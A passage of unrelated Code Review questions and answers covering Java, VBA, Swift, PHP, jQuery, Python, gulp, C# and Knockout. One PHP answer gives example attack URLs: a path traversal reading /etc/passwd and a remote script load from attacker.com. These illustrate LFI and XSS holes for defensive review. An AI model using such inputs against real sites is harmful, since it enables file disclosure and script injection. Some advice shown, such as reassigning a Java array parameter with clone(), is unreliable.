        } catch (InstantiationException ie) {
            throw new IllegalStateException("Even though were were able to do it in the constructor, "
                 + "we were not able to create a new instance of " + clazz.getName(), ie);
        } catch (IllegalAccessException iae) {
            throw new IllegalStateException("Even though were were able to do it in the constructor, "
                 + "we were not able to access the newInstance() " + clazz.getName(), ie);
        }

    }

Your checkOut() method should have the same generic patterns as above.

Now, the two Hashtables... they should be Generified (your IDE is giving a lot of warnings, right?)

 private Hashtable<T, Long> locked, unlocked;

Locking and Synchronization

Your two methods are synchronized differently. The 'checkOut()method is synchronized, but thecreate` method is not.

Also, you are using the (old, by the way) class Hashtable which is internally synchronized.

You should, for simplicity at the moment, just use synchronized methods:

public synchronized T create() {
    ...
}

public synchronized T checkOut() {
    ...
}

and your Hashtable instances should both just be the newer, faster, and better:

private final Map<T, Long> locked, unlocked;

Note, I would normally recommend the Map should be a HashMap, but, read the next section...

Class Choices and bugs

Your class choice of Hashtable is wrong, it should be HashMap. This will lead to Iterator instead of Enumeration as well.

Also, you are making big assumptions about Class<T> since you use it as the key to the table/map. This is a problem because the keys need to be immutable. I would recommend using an java.util.IdentityHashMap instead.

Conclusion...

There are a lot of things which can be done differently. The code has a lot of work to do still


Very Simple Spell (Number to Words) 001 to 999 in VBA I have come across many spell number functions and have reviewed many VBA code available on the net.

The core function that gets called repeatedly is the function that converts numbers from 001 to 999 as it is the core function for conversion under the English numeral system.
I have seen that this core function is sometime unnecessarily split over sub-functions for converting one, tens, and 20s to 90s.

I have developed the following simple VBA function that takes an input as number in a string format from "001" to "999" and returns the output as a string.
The function uses the dash "-" for numbers e.g. Forty-Two.

The function is easily convertible to other programming languages.

With your assistance, I am looking to further improve or simplifying the function, if possible.

You may test the function like this:

Debug.Print Do999("123")
Debug.Print Do999("001")
Debug.Print Do999("099")

Thanks in advance for your contribution.

Function Do999(ThreeDigits As String)
'-----------------------------------------
'Converts number string from 001 to 999 to Words
'Uses dash for in-between numbers from 21 to 99 for UK/US English
'Mohsen Alyafei 17 Oct 2018
'On Entry: NumIn MUST be a 3 Chars digit string "001" to "999"
'On Exit : String of number in English words
'-----------------------------------------
Dim Ones(), Tens(), dash As String, h As String, t As String, N1 As Integer, N2 As Integer

Ones = Array("", "One", "Two", "Three", "Four", "Five", "Six", "Seven", "Eight", "Nine", "Ten", "Eleven", "Twelve", "Thirteen", "Fourteen", "Fifteen", "Sixteen", "Seventeen", "Eighteen", "Nineteen")
Tens = Array("", "", "Twenty", "Thirty", "Forty", "Fifty", "Sixty", "Seventy", "Eighty", "Ninety", " Hundred")

'Next line is optional for English speaking words (UK, US)
If Right(ThreeDigits, 1) <> "0" Then dash = "-"  'dash as per English spelling

'------------Code starts here------------
'Get the hundreds (N1) and tens (N2)

N1 = Left(ThreeDigits, 1): N2 = Right(ThreeDigits, 2)
If N2 > 19 Then t = Tens(Val(Mid(ThreeDigits, 2, 1))) & dash & Ones(Val(Right(ThreeDigits, 1))) Else t = Ones(N2)
Do999 = Trim(IIf(N1 > 0, Ones(N1) & Tens(10), "") & " " & t)

End Function

Code Formatting

What certainly could be improved is the indentation of your code for better readability:

Function Do999(ThreeDigits As String)
    'Everything after your function header until End Function should be indented
    ' ...
End Function

Same for further conditional code blocks:

N1 = Left(ThreeDigits, 1): N2 = Right(ThreeDigits, 2)
If N2 > 19 Then
    t = Tens(Val(Mid(ThreeDigits, 2, 1))) & dash & Ones(Val(Right(ThreeDigits, 1)))
Else
    t = Ones(N2)
End If

Do999 = Trim(IIf(N1 > 0, Ones(N1) & Tens(10), "") & " " & t)

Function naming

Do999 isn't very clear / self descriptive about what the function does.
Convert0UpTo999ToWords might be a better choice for example.

Number output in words

  The function uses the dash "-" for numbers e.g. Forty-Two.

That's not how numbers are naturally written in words. Usually 42 would be written as forty-two.

Avoid the 1st letter of the number words to be capitalized.


Valid Sudoku in Swift This is my solution to LeetCode – Valid Sudoku in Swift.

class Solution {
    func isValidSudoku(_ board: [[Character]]) -> Bool {
        let count = board.count

        var set = Set<Character>()
        for i in 0..<count{

            //  firstly
            set = Set(board[i])

            var num = board[i].reduce(0 , {(result : Int, char : Character)
                in
                var cent = 0
                if String(char) == "."{
                    cent = 1
                }
                return result + cent
            })

            if num > 0 , count - num != set.count - 1{
                return false
            }
            else if num == 0, set.count != count{
                return false
            }

            // secondly

            set = Set(board.reduce([Character]() , { resultArray, chars in
                return resultArray + [chars[i]]
            }))

            num = board.reduce(0 , {(result : Int, chars : [Character])
                in
                var cent = 0
                if String(chars[i]) == "."{
                    cent = 1
                }
                return result + cent
            })

            if num > 0 , count - num != set.count - 1{
                return false
            }
            else if num == 0, set.count != count{
                return false
            }

            // thirdly
            let characters = board.flatMap{
                return $0
            }

            let fisrtMiddle = ( i/3 ) * 27 + ( i % 3 ) * 3 + 1
            let secondMiddle = fisrtMiddle + 9
            let thirdMiddle = fisrtMiddle + 18
            let arrayThree = [characters[fisrtMiddle - 1], characters[fisrtMiddle], characters[fisrtMiddle + 1],
                                                       characters[secondMiddle - 1], characters[secondMiddle], characters[secondMiddle + 1],
                                                                                characters[thirdMiddle - 1], characters[thirdMiddle], characters[thirdMiddle + 1]]
            set = Set(arrayThree)
            num = arrayThree.reduce(0 , {(result : Int, char : Character)
                in
                var cent = 0
                if String(char) == "."{
                    cent = 1
                }
                return result + cent
            })

            if num > 0 , count - num != set.count - 1{
                return false
            }
            else if num == 0, set.count != count{
                return false
            }
        }

        return true
    }
}

How can I make it shorter in syntax and keep intuitive, like the following Python code?

def isValidSudoku(self, board):
    seen = sum(([(c, i), (j, c), (i/3, j/3, c)]
                for i, row in enumerate(board)
                for j, c in enumerate(row)
                if c != '.'), [])
    return len(seen) == len(set(seen))

The Python code is very Pythonic and short.

How to use Swift syntax power to make my code shorter?

I think Functional is a good choice. RxSwift is welcomed.

Naming

Some variable names should be more descriptive:

What does set contain?
What does num count?
What is cent or arrayThree?

Simplifications

if String(char) == "." can be shorted to if char == ".", the conversion to
a string is not needed because "." can be both a string literal and a
character literal.

In

var num = board[i].reduce(0 , {(result : Int, char : Character)
    in
    var cent = 0
    if String(char) == "."{
        cent = 1
    }
    return result + cent
})

the closure can be shortened to

var num = board[i].reduce(0 , {(result, char) in
    char == "." ? result + 1 : result
})

without the need for a temporary variable.

In

set = Set(board.reduce([Character]() , { resultArray, chars in
    return resultArray + [chars[i]]
}))

an array is created with the elements in column #i, and put into a set. That can be simplified to

let column = board.map { $0[i]} // Column #i
set = Set(column)

and column can then also be used in the following count of empty fields.

The creation of an array of all entries of a block can be simplified using
array slices:

let firstRow = 3 * (i / 3)
let firstCol = 3 * (i % 3)
let block = board[firstRow..<firstRow+3].flatMap { $0[firstCol..<firstCol+3]}

Generally, the check for duplicate digits in a row/column/block can
be simplified if you filter out empty fields before creating the set,
that makes counting the empty fields obsolete.

Comments

The comments

// firstly
// secondly
// thirdly

are not really helpful.

Putting it together

Summarizing the above suggestions so far, the code could look like this:

class Solution {
    func isValidSudoku(_ board: [[Character]]) -> Bool {

        for i in 0..<9 {
            // Check digits in row #i:
            let rowDigits = board[i].filter { $0 != "." }
            if rowDigits.count != Set(rowDigits).count {
                return false
            }

            // Check digits in column #i:
            let colDigits = board.map { $0[i] }.filter { $0 != "." }
            if colDigits.count != Set(colDigits).count {
                return false
            }

            // Check digits in block #i:
            let firstRow = 3 * (i / 3)
            let firstCol = 3 * (i % 3)
            let blockDigits = board[firstRow..<firstRow+3].flatMap { $0[firstCol..<firstCol+3]}
                .filter { $0 != "." }
            if blockDigits.count != Set(blockDigits).count {
                return false
            }
        }

        return true
    }
}

An alternative approach

The Python solution can not be translated directly to Swift, one reason is
that tuples are not Hashable and therefore cannot be put into a set.
Also inhomogeneous collections are better avoided in Swift.

But we can enumerate the board in a similar fashion, and put each element
into a set corresponding to its row, column, and block. The return value
from the insert statement already indicates if an identical element was
already present.

That leads to the following implementation:

class Solution {
    func isValidSudoku(_ board: [[Character]]) -> Bool {
        var rowSets = Array(repeating: Set<Character>(), count: 9)
        var colSets = Array(repeating: Set<Character>(), count: 9)
        var blockSets = Array(repeating: Set<Character>(), count: 9)

        for (i, row) in board.enumerated() {
            for (j, char) in row.enumerated() where char != "." {
                if !rowSets[i].insert(char).inserted {
                    return false
                }
                if !colSets[j].insert(char).inserted {
                    return false
                }
                let block = (i / 3) + 3 * (j / 3)
                if !blockSets[block].insert(char).inserted {
                    return false
                }
            }
        }

        return true
    }
}

I haven't checked which one is more efficient, I leave that task to you :)


Get image from other site in PHP I would like to get images from other websites.

This is my current method but I'm not sure if it is alright.

<?php
  header('Content-Type: '.image_type_to_mime_type(exif_imagetype($_GET['url'])));
  echo(file_get_contents($_GET['url']));
?>

If not, how should I do it?

Your code is vulnerable to LFI and XSS.

http://localhost/yourscript.php?url=../../../../../../etc/passwd

This would load the local file /etc/passwd and display it.

http://localhost/yourscript.php?url=http://attacker.com/xss.php

This would load and display the remote file xss.php, which would lead to XSS.

For better solutions, see eg here. When outputting images, you should use the image output functions such as imagejpeg, not generic file loading functions.


jQuery wrapper of Parsley.js In a project, I have a lot of HTML forms without validation and I want to add a front end validation, in a quick way. I start looking for a library and I met Parsley.js. It's a good library, but if I decided to use it I would have to modify all the forms in my application.

So there is where this code is born. It's for automatically binding a set of rules you define to a form.

//Only basic types and validators.
$.fn.parsley.mapping = {
//Types
'alphanum': {'parsley-type':    'alphanum'},
'email':    {'parsley-type':    'email'},
'url':  {'parsley-type':    'url'},
'number':   {'parsley-type':    'number'},
'digits':   {'parsley-type':    'digits'},
'dateIso':  {'parsley-type':    'dateIso'},
'phone':    {'parsley-type':    'phone'},

//Validators
'required': {'parsley-required':    'true'},
'notblank': {'parsley-notblank':    'true'},
'minlength':    {'parsley-minlength': '?'},
'maxlength':    {'parsley-maxlength': '?'},
'min':  {'parsley-min': '?'},
'max':  {'parsley-max': '?'}
}

//Only inputs and textareas
$.fn.parsley.fields = 'input:visible, textarea:visible';

!function ($) {
$.fn.generalValidation = function( validationRules ) {

var name, validations, validationName, validationValue, att, key, value
, form = $( this )
, addValidations = function( validationRules ){
if(validationRules === undefined){
console.log('Error!!! You need to add the validation rules parameter');
validationRules = {};
}
$( form ).find( $.fn.parsley.fields ).each(function(){
name = $( this ).attr('name');
validations = validationRules[name];

if(validations == undefined) return true;

for(validation in validations){
validationName = validations[validation];
validationValue = '';
if(validationName.indexOf(':') !== -1){
validationValue = validationName.substr(validationName.indexOf(':')+1, validationName.length);
validationName = validationName.substr(0, validationName.indexOf(':'));
}

att = $.fn.parsley.mapping[validationName];
if(att !== undefined){
$.map(att, function (v, k) { key = k; value = v; });
value = (value === '?') ? validationValue : value;
$(this).attr(key, value);
}
}
});
return true;
}
, callParsley = function( form ) {
form.parsley();
};

if(addValidations( validationRules )){
callParsley( form );
}
}
} ( window.jQuery );

Here is a JSFiddle.

This is my first plugin in jQuery.  Would you improve something in the code? Do you find this useful?

From a once over:

The following is not DRY at all, you have to find a way to not do this:

//Types
'alphanum': {        'parsley-type': 'alphanum'    },
'email': {        'parsley-type': 'email'    },
'url': {        'parsley-type': 'url'    },
'number': {        'parsley-type': 'number'    },
'digits': {        'parsley-type': 'digits'    },
'dateIso': {        'parsley-type': 'dateIso'    },
'phone': {        'parsley-type': 'phone'    },

I am pretty sure you can throw all that way by changing to the below statement:

att = $.fn.parsley.mapping[validationName] || {  'parsley-type': validationName  };

Also, $.fn.parsley.mapping could use some aligning to look better
You are calling $.map without capturing the array it returns, perhaps you meant to use forEach ? Also, it seems that your code will not work correctly if there is more than 1 property in parsley.mapping.You keep assign to the same key and value.
Your var statement is too messy:

var name, validations, validationName, validationValue, att, key, value, form = $(this),
    addValidations = function (validationRules) {

Comparisons with undefined should be either with === or by doing a falsey check so use either if(validations === undefined) or if(!validations)
There is no var validation for for(validation in validations){
There are plenty of comma and semicolon problems, you should use jshint to find & solve them

All in all, I like the value of your wrapper, but I think it needs some more polishing.


Breaking a 3GB gz file into chunks I have a 3GB gz file that I am trying to break into chunks of smaller files which are not required to be gz (I tried to make files of 10000000 lines, this is not a requirement, the chunks could be of any size), but my method is taking ages to run (about 12 minutes). I have the requirement to not use any library such as Pandas, Spark, etc. I can only use pure Python. I tried profiling my code and the write seems to be the slowest thing. Here's my code :
import gzip
import os

class FileSplitter:

    def __init__(self):
        self.parse_args(sys.argv)

    @staticmethod
    def run():
        splitter = FileSplitter()
        #run to split the big file into smaller files
        splitter.split()

    def split(self):

        file_number = 1
        line_number = 0

        print("Splitting %s into multiple files with %s lines" % (os.path.join(self.working_dir, self.file_base_name), str(self.split_size)))

        out_file = self.get_new_file(file_number)
        a_file = gzip.open(self.in_file, 'rt')
        t = next(a_file)
        with a_file as f:
            for line in f:
                out_file.write(line)
                line_number += 1
                if line_number == self.split_size:
                    out_file.close()
                    file_number += 1
                    line_number = 1
                    out_file = self.get_new_file(file_number)

        out_file.close()

        print("Created %s files." % (str(file_number)))

    def get_new_file(self,file_number):
        """return a new file object ready to write to"""
        new_file_name = "%s.%s" % (self.file_base_name, str(file_number))
        new_file_path = os.path.join(self.working_dir, 'pychunks', new_file_name)
        print ("creating file %s" % (new_file_path))
        return open(new_file_path, 'w')

    def parse_args(self,argv):
        """parse args and set up instance variables"""
        try:
            self.split_size = 10000000
            if len(argv) > 2:
                self.split_size = int(argv[2])
            self.file_name = argv[1]
            self.in_file = self.file_name
            self.working_dir = os.getcwd()
            self.file_base_name = os.path.basename(self.file_name)
        except:
            print(self.usage())
            sys.exit(1)

    def usage(self):
        return """
        Split a large file into many smaller files with set number of rows.

        Usage:

            $ python file_splitter.py <file_name> [row_count]

        row_count is optional (default is 1000)"""

if __name__ == "__main__":
    FileSplitter.run()

To run my code I call a .py file containing this code with the name of my gz file, example : python myprogfile.py test.gz
Would you do that differently? Would you use threading (i tried but I couldn't succeed yet as I don't have experience with that)? What would you change in this code?
I don't know if it is my laptop that's too weak in terms of memory and CPU ...

Since the split files do not need to be readable text files, I would read & write in chunks of bytes, not in lines. This should be faster than reading and writing line by line. We can go with a chunk size of 4,096 bytes because 4,096 or 8,192 is a typical block size on most file systems.
Although, I should note that when I tested your script on my system with a 9 GB text file which has 81 characters per line, it took about 73 seconds to split it into files of 10,000,000 lines each, or about 772 MB per file. The fact that it takes 12 minutes on your laptop likely confirms @Graipher's suspicion that your disk's write speed is the bottleneck here.
Using a refactored version of your script that reads & writes in byte chunks (provided at the end of this review), when I ran it on the same file with --size 772 (split into files of size 772 MB) it took about 35 seconds. Still a decent improvement, but I'd be curious to know how it runs on your machine.
To implement this, I personally like having a helper method like the following which tells us the chunk sizes to read/write:
from typing import Iterator

def chunk_sizes(total_bytes: int, chunk_size: int) -> Iterator[int]:
    for _ in range(total_bytes // chunk_size):
        yield chunk_size

    if remaining_bytes := total_bytes % chunk_size:
        yield remaining_bytes

For example, list(chunk_sizes(10000, 4096)) which returns [4096, 4096, 1808] would tell us that in order to read 10,000 bytes in 4,096 byte chunks, we should read 4,096 bytes, followed by another 4,096 bytes, followed by 1,808 bytes.
General review

There's no reason to have run() be a staticmethod, and it's weird how FileSplitter creates an instance of itself inside this method.
If you change the top-level invocation to FileSplitter().run() then run() could be simplified to
def run(self):
    self.split()

But if you do that you might as well remove run() and make FileSplitter().split() the top-level call. My recommendation is to move the contents of run() under the __name__ == "__main__" guard and then remove run() entirely as it's no longer needed.

Always open files with a with block to ensure the file is closed properly.

I recommend using argparse because you get a lot of stuff for free (input type validations, help/usage message with -h, etc.).

I would move the command-line argument parsing logic out of FileSplitter, because it should ideally only have one responsibility: splitting files.

Specify the exact exception you want to handle with a try-except. Handling a bare except is considered a bad practice.

I wouldn't use sys.exit inside methods you might want to test, because it exits the Python interpreter.

In Python 3, f-strings are a much more legible way of doing string interpolation.
Before
new_file_name = "%s.%s" % (self.file_base_name, str(file_number))

After
new_file_name = f"{self.file_base_name}.{file_number}"

Refactored version
#!/usr/bin/env python3

import argparse
import gzip
import os
import itertools

from typing import BinaryIO, Iterator

CHUNK_SIZE = 4096  # bytes

def megabytes_to_bytes(megabytes: int) -> int:
    return megabytes * 1024 * 1024

def chunk_sizes(total_bytes: int, chunk_size: int) -> Iterator[int]:
    for _ in range(total_bytes // chunk_size):
        yield chunk_size

    if remaining_bytes := total_bytes % chunk_size:
        yield remaining_bytes

class FileSplitter:
    input_file_path: str
    output_directory: str
    output_file_base_name: str
    split_size: int  # size of each partition, in MB

    def __init__(
        self, input_file_path: str, output_directory: str, split_size: int
    ) -> None:
        self.input_file_path = input_file_path
        self.output_directory = output_directory
        name = os.path.basename(input_file_path)
        name_without_file_extension = os.path.splitext(name)[0]
        self.output_file_base_name = name_without_file_extension
        self.split_size = split_size

    def get_new_file(self, file_number: int) -> BinaryIO:
        new_file_name = f"{self.output_file_base_name}.{file_number}"
        new_file_path = os.path.join(self.output_directory, new_file_name)
        return open(new_file_path, "wb")

    def split(self) -> None:
        bytes_per_file = megabytes_to_bytes(self.split_size)
        os.makedirs(self.output_directory, exist_ok=True)

        with gzip.open(self.input_file_path, mode="rb") as in_file:
            for file_number in itertools.count(start=1, step=1):
                with self.get_new_file(file_number) as out_file:
                    for chunk_size in chunk_sizes(bytes_per_file, CHUNK_SIZE):
                        chunk = in_file.read(chunk_size)
                        # chunk == "" means we finished reading the input file
                        if not chunk:
                            return
                        out_file.write(chunk)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="Read a gzip-compressed file "
        "and split its uncompressed contents into separate files."
    )
    parser.add_argument(
        "file_name", help="a gzip-compressed file, e.g. foo.gz"
    )
    parser.add_argument(
        "--size",
        type=int,
        default=500,
        help="desired size of each partition, in MB",
    )
    args = parser.parse_args()

    output_directory = os.path.join(os.getcwd(), "pychunks")
    splitter = FileSplitter(args.file_name, output_directory, args.size)
    splitter.split()


Gulp watch for a handlebars project I have project that uses handlebars and I'm using gulp and gulp-compile-handlebars to watch for changes in the handlebars template as well as the json structure used to compile the template.  I have implemented a watch which seems to work, but it feels like it's doing more work than it should.

My gulpfile looks like this:

var gulp = require('gulp');
var watch = require('gulp-watch');
var handlebars = require('gulp-compile-handlebars');
var rename = require('gulp-rename');
var batch = require('gulp-batch');
var argv = require('yargs').argv // for args parsing
var spawn = require('child_process').spawn;

handlebars.Handlebars.registerHelper('next', function(context, idx, options) {
    if (context[idx + 1]) {
        return options.fn(context[idx + 1])
    } else {
        return "";
    }
});

gulp.task('default', function () {
    var content = require('./content.js')
    var templateData = content
    options = {
        // partials : {
        //     footer : '<footer>the end</footer>'
        // },
        // batch : ['./src/partials'],
        // helpers : {
        //     capitals : function(str){
        //         return str.toUpperCase();
        //     }
        // }
    }

    return gulp.src(['index.handlebars'])
    .pipe(handlebars(templateData, options))
    .pipe(rename('indexCompiled.html'))
    .pipe(gulp.dest('.'));
});

// gulp.task('watch', function () {
//     watch('index.handlebars', batch(function (events, done) {
//         gulp.start('default', done);
//     }));
//     watch('content.js', batch(function (events, done) {
//         gulp.start('default', done);
//     }));
//     watch('gulpfile.js', batch(function (events, done) {
//         gulp.start('default', done);
//     }));
// });

gulp.task('auto-reload', function() {
    var p;

    gulp.watch('content.js', spawnChildren);
    gulp.watch('index.handlebars', spawnChildren);
    spawnChildren();

    function spawnChildren(e) {
        // kill previous spawned process
        if(p) { p.kill(); }

        // `spawn` a child `gulp` process linked to the parent `stdio`
        p = spawn('gulp', [argv.task], {stdio: 'inherit'});
    }
});

As I'm making changes I run gulp auto-reload --task default and any changes to the handlebars template or the json in content.js is re-compiled into indexCompiles.html.  Intially I was just trying to do a simple watch which you can see commented out in the gulp script.

// gulp.task('watch', function () {
//     watch('index.handlebars', batch(function (events, done) {
//         gulp.start('default', done);
//     }));
//     watch('content.js', batch(function (events, done) {
//         gulp.start('default', done);
//     }));
// });

That watch would run for all changes and recompile, but the only changes that were reflected in the new indexCompiled.html were the ones from index.handlebars any changes to the json in content.js was not reflected in the new compiled html I would have to stop the gulp watch and start it again, which is why I eventually made the auto-restart which works.  Why wasn't the original gulp watch working and is there a way to get it to work or do I need to use the auto-restart task?

If I understood what you are doing correctly you are compiling index.handlebars using data from content.js and you want to recompile if any of those files changes. Below is a simplified and NOT TESTED example of what your code can look like

// removed gulp-watch (built in gulp by default)
// also removed spawn, argv and batch
var gulp = require('gulp');
var handlebars = require('gulp-compile-handlebars');
var rename = require('gulp-rename');

handlebars.Handlebars.registerHelper('next', function(context, idx, options) {
    if (context[idx + 1]) {
        return options.fn(context[idx + 1])
    } else {
        return "";
    }
});

// compile index.handlebars with data from content.js
gulp.task('handlebars', function() {
    var templateData = require('./content.js');
    var options = {};

    return gulp.src(['index.handlebars'])
        .pipe(handlebars(templateData, options))
        .pipe(rename('indexCompiled.html'))
        .pipe(gulp.dest('.'));
});

// watch for changes in content and index files
// and then run handlebars task
gulp.task('watch', function(){
    gulp.watch(['content.js', 'index.handlebars'], ['handlebars']);
});

// on run `gulp` compile and start watching for changes
gulp.task('default', ['handlebars', 'watch']);


Partition a list of numbers into even and uneven numbers Input: An array of integers.

Output: That same array, but with the even numbers at the front and the uneven numbers at the back of the array.

I wrote three different solutions, depending on the needs of the client.

First solution:

// linear time not stable and not in-place
private static void partition1(int[] a){
    // not in place:
    int front = 0;
    int back = a.length -1;
    int[] tmp = new int[a.length];

    for (int t = 0; t < a.length; t++){
        if (a[t] % 2 == 0){
            tmp[front++] = a[t];
        } else { // not even -> must be uneven.
            tmp[back--] = a[t];
        }
    }

    for (int i = 0; i < a.length; i++){
        a[i] = tmp[i];
    }
}

Second solution:

// linear time, stable, not in-place
private static void partition2(int[] a){
    int front = 0;

    // to make it stable, figure out where to start placing the last ones
    int back = 0;
    for (int i = 0; i < a.length; i++){
        if (a[i] % 2 == 0)
            back++;
    }

    int[] tmp = new int[a.length];

    for (int t = 0; t < a.length; t++){
        if (a[t] % 2 == 0){
            tmp[front++] = a[t];
        } else { // not even -> must be uneven.
            tmp[back++] = a[t];
        }
    }

    for (int i = 0; i < a.length; i++){
        a[i] = tmp[i];
    }
}

Third solution:

// linear time, not stable, in-place
private static void partition3(int[] a){
    // invariant: [ even | i ... j | uneven ]

    int front = 0;
    int back = a.length - 1;

    // no tmp array!!
    int tmp;
    while (front < back){
        if (a[front] % 2 == 0){
            front++;
        } else if (a[back] % 2 == 1){
            back--;
        } else { // number at front is uneven and number at back is even
            tmp = a[front];
            a[front] = a[back];
            a[back] = tmp;
            front++;
            back--;
        }
    }
}

Feedback I'm looking for:

Are these variable names OK?
Is the code semantically correct?
Can it be asymptotically faster?
Any other style feedback.

Your naming for the array parameter 'a' is not good. Use something along the lines of input, input_array instead.

Also, rather than manually copying each element of the array in

for (int i = 0; i < a.length; i++){
    a[i] = tmp[i];
}

Use a = tmp.clone(); or a = Arrays.copyOf(tmp, tmp.length)

Arrays.copyOf has slightly bette performance than clone, but both are much better than manually iterating through the array as you are doing.

Also, rather than computing a.length each iteration you can use int size = a.length and then do for (int i = 0; i < size; i++) for even better performance.


Singleton class extending a parent class to utilise shared functionality I have a singleton class which extends from an abstract java class. Two singleton classes extend from ItemImageThreadManager, the reason for this is to use shared scheduling functionality. A thread is created and passed into the runThread method of ItemImageThreadManager.

Is this good design?

Abstract Parent Class

public abstract class ItemImageThreadManager {

    private Timer timer = new Timer();

    public void runThread(final Thread runThread){

        try {
            scheduleTimer(runThread);
        }
        catch(IllegalStateException ise){
            /**
             * When the timer is cancelled (when screen closed) and the images are
             * removed from memory(in-app resync) and this screen is opened again,
             * an IllegalStateException will be thrown since the images will need
             * to be re-downloaded
             *
             * Solution - create a new timer.
             */
            timer = new Timer();
            scheduleTimer(runThread);
        }
    }

    /**
     * Starts a new thread. This thread is run in the order is has been added.
     * Since timer runs in it's own thread, this gaurantees that just one thread
     * will be started at one time....
     * @param thread
     */
    private void scheduleTimer(final Thread thread){

        timer.schedule(new TimerTask() {

            public void run() {
                thread.start();
                try {
                    thread.join();
                } catch (InterruptedException e) {
                    e.printStackTrace();
                }
            }

        }, 0);
    }

    public void cancelTimer(){
        timer.cancel();
    }

}

First Extended class

public class ContestantImageThreadManager extends ItemImageThreadManager{

    private static ContestantImageThreadManager ref;

    private ContestantImageThreadManager(){
        super();
    }

    public static ContestantImageThreadManager getSingletonObject()
    {
      if (ref == null){
          ref = new ContestantImageThreadManager();
      }
      return ref;
    }

}

Second Extended class

public class JudgeItemImageThreadManager extends ItemImageThreadManager{

    private static JudgeItemImageThreadManager ref;

    private JudgeItemImageThreadManager(){

    }
    public static JudgeItemImageThreadManager getSingletonObject()
    {
      if (ref == null){
          ref = new JudgeItemImageThreadManager();
      }
      return ref;
    }

}

As others mentioned the getSingletonObject should be synchronized. There is a chapter in Effective Java, Second Edition about singletons (Item 3: Enforce the singleton property with a private constructor or an enum type). It's worth to read. Anyway, try to avoid them, they makes testing really hard.

You use the Timer as a single-threaded executor. In that case consider using Executors.newSingleThreadExecutor. Furthermore, are you sure that you need to pass Thread at all? Wouldn't Runnable be enough? Executors can run Runnables without any wrapper class and Thread.join call.

Instead of catching IllegalStateException in the runThread method you should check whether the timer is canceled. You can store this state in a boolean flag. Don't forget to synchronize the variable access. (See Effective Java, Item 57: Use exceptions only for exceptional conditions)

ExecutorService.submit returns Future which has a cancel method. Maybe it's better for you requirements (instead of Timer.cancel()).

If you're not familiar with concurrent code check Java Concurrency in Practice.


Effectiveness of masking a string The assignment is to mask (or rather unmask) certain indexes from a string. Both the input string and the demasker are strings. An example shows how it's supposed to work.

  Input: "abcdefgh"
  Mask: "2-4,6"
  Output: "bcdf"

The index is one-based and we need not to worry about malicious users' entries. The entries are always separated by a comma and the limits (if not atomary) by a dash.

My current solution is this.

string input = "abcdefghijklmnopqrstuvwxyz";
string mask = "3-5,8,9-12,13,14,18-26";

Dictionary<int, int> intervals = mask.Split(',').ToDictionary(
  element => Convert.ToInt32(element.Split('-').First()),
  element => Convert.ToInt32(element.Split('-').Last()));
string substring = "";
foreach (KeyValuePair<int, int> entry in intervals)
  substring += input.Substring(entry.Key - 1, entry.Value - entry.Key + 1);

I'm unhappy with the way it looks right now, because I'd like it to be demasking using other method than foreach. Given that the strings are relatively short, there's no option of deploying a third party library.

Can the above be made smoother? All creative critique is welcome.

Do not use Dictionary when order matters.

Your code assumes that iterating over Dictionary will yield elements in the order in which they were added, but that's not guaranteed at all (emphasis mine):

  For purposes of enumeration, each item in the dictionary is treated as a KeyValuePair<TKey, TValue> structure representing a value and its key. The order in which the items are returned is undefined.

And even if this wasn't an issue, the intervals logically are not keys and values, so that's another reason not to use dictionary.

In simple cases like this, consider using anonymous type:

var intervals = mask.Split(',').Select(
  element => new
  {
      from = Convert.ToInt32(element.Split('-').First()),
      to = Convert.ToInt32(element.Split('-').Last())
  });


Check if a web element has a specific property and apply changes to the DOM according to the property's existence I wrote this Javascript snippet for a Polymer fronted, it works without issues.

The only thing that it accomplishes is changing an icon's orientation whenever a user is clicking on any expandable-item (expandable-item is a specific Tag name).

Imagine a classic Operating System's folder tree display and the + or - icon that shows if a specific folder is expandable or not.

When the user clicks, the clicked expandable-item tag receives the expanded attribute.

The user can click on several expandable-item and all of them must remain opened or closed according to the user clicks and, clearly, also the icons related to the items must change accordingly.

Are there any ways that you could suggest to make it more efficient and/or shorter?

var expandedItems = this.shadowRoot.querySelectorAll('expandable-item');

for (var i = 0; i < expandedItems.length; ++i) {
    if (expandedItems[i].hasAttribute("expanded")){
        expandedItems[i].getElementsByClassName("expandable-icon")[0].setAttribute("icon", "arrow:chevron-open-down");
    } else {
        expandedItems[i].getElementsByClassName("expandable-icon")[0].setAttribute("icon", "arrow:chevron-open-right");
    }
}

Thanks for your suggestions.

Search online for "queryselectorall vs getelementsbytagname" and you will likely see results like this SO post from August 2013 and this post from September 2010. After reading those one can posit that using Element.getElementsByTagName() instead of querySelectorAll() would be quicker, since the selector appears to merely find elements by tag name. Be aware that method returns a Live HTMLCollection so you would need to put the elements into an array before iterating over them. There are some nice tools in ecmascript-6 to do this, like using the spread syntax or calling Array.from().

If you keep the for loop, you could consider using a for...of (also standard with ecmascript-6) in order to eliminate the accessing array elements with bracket notation.

I am not able to find references to those attributes icon="arrow:chevron-open-down" and icon="arrow:chevron-open-right" but if those could be handled in CSS then you could eliminate the whole JS iteration block.


Customer ViewModel with optional JSON initialization parameter I have a situation where I have a ViewModel:

// Main_ViewModel

function MainViewModel()
{
     var self = this;
     this.customerList = ko.observableArray(GetCustomersFromServer());
}

// BIND VIEWMODEL

ko.applyBindings(new MainViewModel());

// GET CUSTOMERS FROM SERVER

function GetCustomersFromServer (){

  var customers = [];
  $.ajax({
        //.....other options...
        success: function(response){

        for(var i =0; i < response.length; i++){
             customers.push(new Customer(response[i]));
         }
    }
   });
  return customers;
}

// HTML:

     Customer Name
      <input type='text' class="form-control" data-bind="value: CustomerName" />

// CUSTOMER VIEW MODEL

function Customer(customer) {
    var self = this;

    if (customer === undefined || customer === null) {
        self.CustomerId = ko.observable();
        self.CustomerName = ko.observable();
        self.DateOfBirth = ko.observable(new Date());
        self.EmailAddress = ko.observable();

        self.CustomerContacts = ko.observableArray();
    }
    else {
        self.CustomerId = ko.observable(customer.CustomerId);
        self.CustomerName = ko.observable(customer.CustomerName);
        self.DateOfBirth = ko.observable(customer.DateOfBirth);
        self.EmailAddress = ko.observable(customer.EmailAddress);

        self.CustomerContacts = ko.mapping.fromJS(customer.CustomerContacts, customMapping);

    }
}

There are two ways to declare ViewModel:

var customer = new Customer(); will be used to create a new Customer. This will add a new customer.
var customer1 = new Customer(customerParameter); is used to update an existing customer. Customer Object is returned from server (JSON format) and assigned to the viewModel.

Is there a cleaner way to define this ViewModel?

Like in C#, we have multiple constructors:

public class Customer
{

    public int CustomerId {get;set;}
    public DateTime DateOfBirth {get;set;}

    public Customer(int customerId): this()
    {
        CustomerId = customerId;
    }

